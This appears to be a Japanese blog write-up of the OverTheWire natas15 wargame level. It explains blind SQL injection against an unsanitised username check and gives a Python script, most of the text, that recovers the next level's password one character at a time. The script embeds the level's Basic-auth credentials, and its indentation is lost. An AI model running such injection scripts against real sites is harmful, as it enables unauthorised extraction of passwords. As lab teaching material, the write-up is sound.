ユーザー名を入れて送信すると、そのユーザーが存在するかしないかを教えてくれる。
ソースコードを見ると、送信したユーザ名はSQLクエリにサニタイジングも何もなしで連結されているので、SQLインジェクションし放題。
しかし、インジェクションした結果を表示する仕組みが無い。(ユーザーが既に存在するかをYES/NOの二択でしかわからない)
このような時でも使えるのがブラインドSQLインジェクション。
知りたい情報を、1文字(または1ビットとか)ずつ調べて行く。
import urllib
import sys
import urllib.request, urllib.parse
import base64
urlText = "http://natas15.natas.labs.overthewire.org/index.php"
user = "natas15"
password = "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"
ansPass = ""
characterSet = [chr(i) for i in range(65,65+26)]
characterSet.extend([chr(i) for i in range(97,97+26)])
characterSet.extend([str(i) for i in range(0,10)])
#VARCHARが64文字まで(らしい)
for ind in range(1, 65):
isFound = False
#0-9, a-z, A-Zを試す。
for ch in characterSet:
query = 'natas16" AND SUBSTRING(password, ' + str(ind) + ', 1) LIKE BINARY "' +ch
encoded_post_data = urllib.parse.urlencode({"username":query}).encode("utf-8")
basic_user_and_pasword = base64.b64encode((user +":"+password).encode('utf-8'))
req = urllib.request.Request(urlText, headers={"Authorization": "Basic " + basic_user_and_pasword.decode('utf-8')}, data=encoded_post_data)
with urllib.request.urlopen(req) as res:
html = res.read().decode("utf-8")
#YESならパスワードのind文字目はchだったということになる
if "This user exists" in html:
ansPass += ch
isFound = True
print("HIT:"+str(ind) +":"+ch)
#どんな文字に対してもNOを返すときは、こんなにパスワードは長くなかったいうことで調査を打ち切る。
if not isFound:
break
print(ansPass)
遠い海外にある標的サーバだからか大変待たされる。30分くらいかかったかな…。

コメント